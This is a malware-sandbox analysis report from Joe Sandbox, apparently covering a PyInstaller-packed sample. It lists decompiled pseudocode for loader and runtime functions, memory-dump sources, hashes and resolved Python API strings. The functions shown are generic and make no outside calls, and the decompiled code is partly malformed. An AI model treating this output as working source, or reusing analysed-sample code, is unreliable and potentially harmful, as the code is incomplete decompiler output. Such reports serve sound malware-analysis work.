                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                              • Instruction ID: 74628bb9cbb62325eaa5d9ece74818a69af278518b58eb77a6deec5e27ed6ede
                                                                                                                              • Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
                                                                                                                              • Instruction Fuzzy Hash: 8141AC52C0964AC4F9A7AA18050067C9680BF72FA0ED852F6ED9D533D3DD1F6BA7C221
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E8AF0 Relevance: .1, Instructions: 126COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 56%
                                                                                                                              			E00007FF77FF7DA8E8AF0(signed int __edx, void* __edi, void* __esp, long long __rbx, signed long long*** __rcx, long long __rsi) {
				void* _t24;
				int _t26;
				signed int _t51;
				void* _t52;
				signed long long _t66;
				signed long long _t74;
				signed long long _t76;
				signed long long _t77;
				signed int* _t90;
				signed long long _t95;
				signed long long _t96;
				signed long long _t98;
				signed long long _t104;
				long long _t115;
				void* _t117;
				void* _t120;
				signed long long* _t123;
				signed long long _t124;
				signed long long _t126;
				signed long long _t129;
				signed long long*** _t132;

				_t52 = __edi;
				_t51 = __edx;
				 *((long long*)(_t117 + 8)) = __rbx;
				 *((long long*)(_t117 + 0x10)) = _t115;
				 *((long long*)(_t117 + 0x18)) = __rsi;
				_t66 =  *((intOrPtr*)(__rcx));
				_t132 = __rcx;
				_t90 =  *_t66;
				if (_t90 == 0) goto 0xda8e8c84;
				_t124 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t111 = _t124 ^  *_t90;
				asm("dec eax");
				_t74 = _t124 ^ _t90[4];
				asm("dec ecx");
				asm("dec eax");
				if ((_t124 ^ _t90[2]) != _t74) goto 0xda8e8bf6;
				_t76 = _t74 - (_t124 ^  *_t90) >> 3;
				_t101 =  >  ? _t66 : _t76;
				_t6 = _t115 + 0x20; // 0x20
				_t102 = ( >  ? _t66 : _t76) + _t76;
				_t103 =  ==  ? _t66 : ( >  ? _t66 : _t76) + _t76;
				if (( ==  ? _t66 : ( >  ? _t66 : _t76) + _t76) - _t76 < 0) goto 0xda8e8b92;
				_t7 = _t115 + 8; // 0x8
				r8d = _t7;
				E00007FF77FF7DA8F244C(_t6, _t76, _t111,  ==  ? _t66 : ( >  ? _t66 : _t76) + _t76, _t111, _t115, _t120);
				_t24 = E00007FF77FF7DA8E9D68(_t66, _t111);
				if (_t66 != 0) goto 0xda8e8bba;
				_t104 = _t76 + 4;
				r8d = 8;
				E00007FF77FF7DA8F244C(_t24, _t76, _t111, _t104, _t111, _t115, _t120);
				_t129 = _t66;
				_t26 = E00007FF77FF7DA8E9D68(_t66, _t111);
				if (_t129 == 0) goto 0xda8e8c84;
				_t123 = _t129 + _t76 * 8;
				_t77 = _t129 + _t104 * 8;
				_t87 =  >  ? _t115 : _t77 - _t123 + 7 >> 3;
				_t64 =  >  ? _t115 : _t77 - _t123 + 7 >> 3;
				if (( >  ? _t115 : _t77 - _t123 + 7 >> 3) == 0) goto 0xda8e8bf6;
				memset(_t52, _t26, 0 << 0);
				_t126 =  *0xda90d008; // 0xde4e6c2f3c2e
				r8d = 0x40;
				asm("dec eax");
				 *_t123 =  *(_t132[1]) ^ _t126;
				_t95 =  *0xda90d008; // 0xde4e6c2f3c2e
				asm("dec eax");
				 *( *( *_t132)) = _t129 ^ _t95;
				_t96 =  *0xda90d008; // 0xde4e6c2f3c2e
				asm("dec eax");
				( *( *_t132))[1] =  &(_t123[1]) ^ _t96;
				_t98 =  *0xda90d008; // 0xde4e6c2f3c2e
				r8d = r8d - (_t51 & 0x0000003f);
				asm("dec eax");
				( *( *_t132))[2] = _t77 ^ _t98;
				goto 0xda8e8c87;
				return 0xffffffff;
			}
























                                                                                                                              0x7ff7da8e8af0
                                                                                                                              0x7ff7da8e8af0
                                                                                                                              0x7ff7da8e8af0
                                                                                                                              0x7ff7da8e8af5
                                                                                                                              0x7ff7da8e8afa
                                                                                                                              0x7ff7da8e8b08
                                                                                                                              0x7ff7da8e8b0d
                                                                                                                              0x7ff7da8e8b10
                                                                                                                              0x7ff7da8e8b16
                                                                                                                              0x7ff7da8e8b1c
                                                                                                                              0x7ff7da8e8b29
                                                                                                                              0x7ff7da8e8b32
                                                                                                                              0x7ff7da8e8b3c
                                                                                                                              0x7ff7da8e8b40
                                                                                                                              0x7ff7da8e8b43
                                                                                                                              0x7ff7da8e8b49
                                                                                                                              0x7ff7da8e8b57
                                                                                                                              0x7ff7da8e8b61
                                                                                                                              0x7ff7da8e8b65
                                                                                                                              0x7ff7da8e8b68
                                                                                                                              0x7ff7da8e8b6b
                                                                                                                              0x7ff7da8e8b72
                                                                                                                              0x7ff7da8e8b74
                                                                                                                              0x7ff7da8e8b74
                                                                                                                              0x7ff7da8e8b7e
                                                                                                                              0x7ff7da8e8b88
                                                                                                                              0x7ff7da8e8b90
                                                                                                                              0x7ff7da8e8b92
                                                                                                                              0x7ff7da8e8b96
                                                                                                                              0x7ff7da8e8ba2
                                                                                                                              0x7ff7da8e8ba9
                                                                                                                              0x7ff7da8e8bac
                                                                                                                              0x7ff7da8e8bb4
                                                                                                                              0x7ff7da8e8bc1
                                                                                                                              0x7ff7da8e8bc5
                                                                                                                              0x7ff7da8e8bdd
                                                                                                                              0x7ff7da8e8be1
                                                                                                                              0x7ff7da8e8be4
                                                                                                                              0x7ff7da8e8bec
                                                                                                                              0x7ff7da8e8bef
                                                                                                                              0x7ff7da8e8bf6
                                                                                                                              0x7ff7da8e8c15
                                                                                                                              0x7ff7da8e8c1b
                                                                                                                              0x7ff7da8e8c1e
                                                                                                                              0x7ff7da8e8c31
                                                                                                                              0x7ff7da8e8c3a
                                                                                                                              0x7ff7da8e8c40
                                                                                                                              0x7ff7da8e8c51
                                                                                                                              0x7ff7da8e8c5a
                                                                                                                              0x7ff7da8e8c5e
                                                                                                                              0x7ff7da8e8c6a
                                                                                                                              0x7ff7da8e8c73
                                                                                                                              0x7ff7da8e8c7e
                                                                                                                              0x7ff7da8e8c82
                                                                                                                              0x7ff7da8e8c9f

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorLastPrivilegeRelease
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1334314998-0
                                                                                                                              • Opcode ID: 7b72f3365bb0bfc0fee784a6e9437690aec08aaea9362de7864ded4306c7fffd
                                                                                                                              • Instruction ID: 499b1bf0ce75ecdcb6b35ab565bc3ed6cab57a2f8d0ceb2d5a4e31df61420fc8
                                                                                                                              • Opcode Fuzzy Hash: 7b72f3365bb0bfc0fee784a6e9437690aec08aaea9362de7864ded4306c7fffd
                                                                                                                              • Instruction Fuzzy Hash: 7B412163714A5582FF04DF2AD9140ADB7A1BB58FD4B889033EE4D97B59DE3DD1528300
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E64B0 Relevance: .1, Instructions: 98COMMONCrypto
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 16%
                                                                                                                              			E00007FF77FF7DA8E64B0(intOrPtr __edi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				long long _v16;
				long long _v24;
				intOrPtr _v32;
				long long _v40;
				void* _t29;
				void* _t30;
				void* _t34;
				intOrPtr* _t61;
				intOrPtr* _t62;
				long long _t64;
				intOrPtr* _t84;
				long long _t91;

				_t61 = _t84;
				 *((long long*)(_t61 + 8)) = __rbx;
				 *((long long*)(_t61 + 0x10)) = __rbp;
				 *((long long*)(_t61 + 0x18)) = __rsi;
				 *((long long*)(_t61 + 0x20)) = __rdi;
				r14d = 0;
				 *((long long*)(_t61 - 0x10)) = _t91;
				 *((long long*)(_t61 - 0x18)) = _t91;
				 *((intOrPtr*)(_t61 - 0x20)) = r14d;
				r9d = r9d | 0xffffffff;
				 *((long long*)(_t61 - 0x28)) = _t91;
				E00007FF77FF7DA8EF008();
				if (_t29 != 0) goto 0xda8e6509;
				_t30 = E00007FF77FF7DA8E4394(_t61);
				 *_t61 = 0x2a;
				goto 0xda8e653c;
				if (__rdx == 0) goto 0xda8e653c;
				_v16 = _t91;
				r9d = r9d | 0xffffffff;
				_v24 = _t91;
				_v32 = r14d;
				_v40 = _t91;
				E00007FF77FF7DA8EF008();
				if (_t30 == 0) goto 0xda8e64f9;
				E00007FF77FF7DA8EDC90(_t30, _t91 + _t30, __rdx);
				_t64 = _t61;
				if (_t61 != 0) goto 0xda8e655f;
				E00007FF77FF7DA8E9D68(_t61, _t91 + _t30);
				goto 0xda8e65e7;
				_v16 = _t91;
				r9d = r9d | 0xffffffff;
				_v24 = _t91;
				_v32 = __edi;
				_v40 = _t64;
				E00007FF77FF7DA8EF008();
				if (0 != 0) goto 0xda8e6599;
				_t34 = E00007FF77FF7DA8E4394(_t61);
				 *_t61 = 0x2a;
				goto 0xda8e6553;
				if (__rdx == 0) goto 0xda8e65cf;
				_t62 = _t64 + _t64;
				_v16 = _t91;
				_v24 = _t91;
				_v32 = __edi;
				r9d = r9d | 0xffffffff;
				_v40 = _t62;
				 *((char*)(_t62 - 1)) = 0x3d;
				E00007FF77FF7DA8EF008();
				if (_t34 == 0) goto 0xda8e6589;
				0xda8f01ec(_t91);
				return E00007FF77FF7DA8E9D68(_t62, _t64) & 0xffffff00 | _t34 == 0x00000000;
			}















                                                                                                                              0x7ff7da8e64b0
                                                                                                                              0x7ff7da8e64b3
                                                                                                                              0x7ff7da8e64b7
                                                                                                                              0x7ff7da8e64bb
                                                                                                                              0x7ff7da8e64bf
                                                                                                                              0x7ff7da8e64c9
                                                                                                                              0x7ff7da8e64cf
                                                                                                                              0x7ff7da8e64d6
                                                                                                                              0x7ff7da8e64dd
                                                                                                                              0x7ff7da8e64e1
                                                                                                                              0x7ff7da8e64e7
                                                                                                                              0x7ff7da8e64ed
                                                                                                                              0x7ff7da8e64f7
                                                                                                                              0x7ff7da8e64f9
                                                                                                                              0x7ff7da8e6501
                                                                                                                              0x7ff7da8e6507
                                                                                                                              0x7ff7da8e650c
                                                                                                                              0x7ff7da8e650e
                                                                                                                              0x7ff7da8e6513
                                                                                                                              0x7ff7da8e6517
                                                                                                                              0x7ff7da8e651f
                                                                                                                              0x7ff7da8e6528
                                                                                                                              0x7ff7da8e652d
                                                                                                                              0x7ff7da8e6537
                                                                                                                              0x7ff7da8e6544
                                                                                                                              0x7ff7da8e6549
                                                                                                                              0x7ff7da8e654f
                                                                                                                              0x7ff7da8e6553
                                                                                                                              0x7ff7da8e655a
                                                                                                                              0x7ff7da8e655f
                                                                                                                              0x7ff7da8e6564
                                                                                                                              0x7ff7da8e6568
                                                                                                                              0x7ff7da8e6570
                                                                                                                              0x7ff7da8e6578
                                                                                                                              0x7ff7da8e657d
                                                                                                                              0x7ff7da8e6587
                                                                                                                              0x7ff7da8e6589
                                                                                                                              0x7ff7da8e6591
                                                                                                                              0x7ff7da8e6597
                                                                                                                              0x7ff7da8e659c
                                                                                                                              0x7ff7da8e659e
                                                                                                                              0x7ff7da8e65a2
                                                                                                                              0x7ff7da8e65a9
                                                                                                                              0x7ff7da8e65ae
                                                                                                                              0x7ff7da8e65b2
                                                                                                                              0x7ff7da8e65b9
                                                                                                                              0x7ff7da8e65c0
                                                                                                                              0x7ff7da8e65c6
                                                                                                                              0x7ff7da8e65cd
                                                                                                                              0x7ff7da8e65d4
                                                                                                                              0x7ff7da8e6601

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: f0456c98d42a781b5c5bc1c2f312fc66b7cd87bccd02103b591818a6402ea132
                                                                                                                              • Instruction ID: 5aa35d5496543894e7065a39696fe53944e5eb33aed742f082b9f8c1689b3679
                                                                                                                              • Opcode Fuzzy Hash: f0456c98d42a781b5c5bc1c2f312fc66b7cd87bccd02103b591818a6402ea132
                                                                                                                              • Instruction Fuzzy Hash: 8431E632B08B42C2F725EB25644012DBAD4BF95B90F84427AEE4E53B9BDF3DD6218714
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F8900 Relevance: .0, Instructions: 32COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 86%
                                                                                                                              			E00007FF77FF7DA8F8900(intOrPtr __ebx, intOrPtr __edx, signed int __rax, signed int __rdx, void* __r8, signed long long _a8) {
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _t25;

				_t25 = __r8;
				r8d = 0;
				 *0xda91d3bc = r8d;
				_t1 = _t25 + 1; // 0x1
				r9d = _t1;
				asm("cpuid");
				_v16 = r9d;
				_v16 = 0;
				_v20 = __ebx;
				_v12 = __edx;
				if (0 != 0x18001000) goto 0xda8f8961;
				asm("xgetbv");
				_a8 = __rdx << 0x00000020 | __rax;
				r8d =  *0xda91d3bc; // 0x1
				r8d =  ==  ? r9d : r8d;
				 *0xda91d3bc = r8d;
				 *0xda91d3c0 = r8d;
				return 0;
			}







                                                                                                                              0x7ff7da8f8900
                                                                                                                              0x7ff7da8f8906
                                                                                                                              0x7ff7da8f890b
                                                                                                                              0x7ff7da8f8912
                                                                                                                              0x7ff7da8f8912
                                                                                                                              0x7ff7da8f8919
                                                                                                                              0x7ff7da8f891b
                                                                                                                              0x7ff7da8f8923
                                                                                                                              0x7ff7da8f8929
                                                                                                                              0x7ff7da8f892d
                                                                                                                              0x7ff7da8f8933
                                                                                                                              0x7ff7da8f8937
                                                                                                                              0x7ff7da8f8941
                                                                                                                              0x7ff7da8f894b
                                                                                                                              0x7ff7da8f8956
                                                                                                                              0x7ff7da8f895a
                                                                                                                              0x7ff7da8f8961
                                                                                                                              0x7ff7da8f896f

                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: d34d5d8554d102006894240283a9d79e813511d862dc58987dc8a54cb8a7dc0d
                                                                                                                              • Instruction ID: d17ccf798c827be894abdebc9b63f02b63558951f63f9e2f70c7c2730fe4e037
                                                                                                                              • Opcode Fuzzy Hash: d34d5d8554d102006894240283a9d79e813511d862dc58987dc8a54cb8a7dc0d
                                                                                                                              • Instruction Fuzzy Hash: 0FF06872B182958EEBA49F29A40262DB7D0F708388FC0807EE58DC3B04DA3C90618F24
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DB7E0 Relevance: .0, Instructions: 2COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID:
                                                                                                                              • String ID:
                                                                                                                              • API String ID:
                                                                                                                              • Opcode ID: 346bd86ff2f8cc6f95113856949b039c2a110b7801ff982f45fbe19e3d045d96
                                                                                                                              • Instruction ID: 6778c67a45b3582f48b183206e43fda469dd6d1a46d911e91d3c779b4b3e992a
                                                                                                                              • Opcode Fuzzy Hash: 346bd86ff2f8cc6f95113856949b039c2a110b7801ff982f45fbe19e3d045d96
                                                                                                                              • Instruction Fuzzy Hash: 5EA0022194CC0BD6FE46AF01E894038E330FBA4360BC504B7D84E421A29F3CB560C364
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D3DD0 Relevance: 291.0, APIs: 55, Strings: 111, Instructions: 457libraryloaderCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 23%
                                                                                                                              			E00007FF77FF7DA8D3DD0(void* __edx, long long __rax, struct HINSTANCE__* __rbx, void* __rcx, void* _a8) {
				void* _t20;
				void* _t21;

				GetProcAddress(__rbx);
				 *0xda90dca8 = __rax;
				if (__rax != 0) goto 0xda8d3e1b;
				E00007FF77FF7DA8D2620(__rax, __rax, "GetProcAddress", "Failed to get address for Py_DontWriteBytecodeFlag\n", _t20, _t21);
				return 0xffffffff;
			}





                                                                                                                              0x7ff7da8d3de6
                                                                                                                              0x7ff7da8d3dec
                                                                                                                              0x7ff7da8d3df6
                                                                                                                              0x7ff7da8d3e06
                                                                                                                              0x7ff7da8d3e1a

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: AddressProc
                                                                                                                              • String ID: Failed to get address for PyDict_GetItemString$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyList_New$Failed to get address for PyLong_AsLong$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PySys_AddWarnOption$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetArgvEx$Failed to get address for PySys_SetObject$Failed to get address for PySys_SetPath$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_BuildValue$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_DontWriteBytecodeFlag$Failed to get address for Py_FileSystemDefaultEncoding$Failed to get address for Py_Finalize$Failed to get address for Py_FrozenFlag$Failed to get address for Py_GetPath$Failed to get address for Py_IgnoreEnvironmentFlag$Failed to get address for Py_IncRef$Failed to get address for Py_Initialize$Failed to get address for Py_NoSiteFlag$Failed to get address for Py_NoUserSiteDirectory$Failed to get address for Py_OptimizeFlag$Failed to get address for Py_SetPath$Failed to get address for Py_SetProgramName$Failed to get address for Py_SetPythonHome$Failed to get address for Py_UTF8Mode$Failed to get address for Py_UnbufferedStdioFlag$Failed to get address for Py_VerboseFlag$GetProcAddress$PyDict_GetItemString$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyList_New$PyLong_AsLong$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyRun_SimpleStringFlags$PySys_AddWarnOption$PySys_GetObject$PySys_SetArgvEx$PySys_SetObject$PySys_SetPath$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_BuildValue$Py_DecRef$Py_DecodeLocale$Py_DontWriteBytecodeFlag$Py_FileSystemDefaultEncoding$Py_Finalize$Py_FrozenFlag$Py_GetPath$Py_IgnoreEnvironmentFlag$Py_IncRef$Py_Initialize$Py_NoSiteFlag$Py_NoUserSiteDirectory$Py_OptimizeFlag$Py_SetPath$Py_SetProgramName$Py_SetPythonHome$Py_UTF8Mode$Py_UnbufferedStdioFlag$Py_VerboseFlag
                                                                                                                              • API String ID: 190572456-3109299426
                                                                                                                              • Opcode ID: 6e6539b2492bcb566142f8ce84d8e1d9cc234e654b2aa916a41ae674904a9854
                                                                                                                              • Instruction ID: 69c80da23c30c5a95c2656c4344378e68197b8a753d53636adcba2003ffa9457
                                                                                                                              • Opcode Fuzzy Hash: 6e6539b2492bcb566142f8ce84d8e1d9cc234e654b2aa916a41ae674904a9854
                                                                                                                              • Instruction Fuzzy Hash: 0442D565A09B0399FE06BB04B8441BCE3A5BF64794BD854B7CC0E462A6FF7CE564C324
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2030 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: MoveWindow$ObjectSelect$DrawReleaseText
                                                                                                                              • String ID: P%
                                                                                                                              • API String ID: 2147705588-2959514604
                                                                                                                              • Opcode ID: fb783cecea5857337ba39d7124ac847fd36298f9395065b285019c6a8496f5b4
                                                                                                                              • Instruction ID: a6a84a6cd2b555526f19eabae1f6dcb3cf9e0259ba094f8f78632e3960c0bb38
                                                                                                                              • Opcode Fuzzy Hash: fb783cecea5857337ba39d7124ac847fd36298f9395065b285019c6a8496f5b4
                                                                                                                              • Instruction Fuzzy Hash: B551E7266047A286E624AF26A4581BEF7A1F798B61F404126EFCE43685DF3CD055DB10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E0178 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8E0178(signed short* __rax, long long __rbx, long long __rcx, signed short** __rdx, void* __r8, long long __r10, void* __r11, long long _a8, intOrPtr _a16, long long _a24) {
				void* _v64;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				intOrPtr _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				char _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				long long _v176;
				long long _v184;
				void* __rsi;
				void* __rbp;
				signed int _t144;
				void* _t162;
				signed short _t206;
				signed short _t207;
				signed int _t208;
				signed int _t240;
				intOrPtr _t254;
				signed int _t255;
				signed int _t257;
				signed int _t259;
				signed int _t263;
				signed short* _t380;
				signed short* _t381;
				signed short* _t383;
				signed short** _t384;
				long long _t385;
				long long* _t388;
				signed short* _t389;
				signed short* _t390;
				signed short** _t394;
				long long* _t395;
				long long* _t396;
				signed short** _t397;
				void* _t398;
				void* _t399;
				signed short* _t404;
				signed short* _t405;
				void* _t407;
				long long _t408;
				signed short* _t409;
				intOrPtr _t410;

				_t407 = __r11;
				_t403 = __r8;
				_t394 = __rdx;
				_t385 = __rbx;
				_a24 = __rbx;
				_a8 = __rcx;
				_t408 =  *__rdx;
				r10d = 0;
				_v64 = _t408;
				r15d = r8d;
				_t397 = __rdx;
				if (_t408 != 0) goto 0xda8e01bf;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
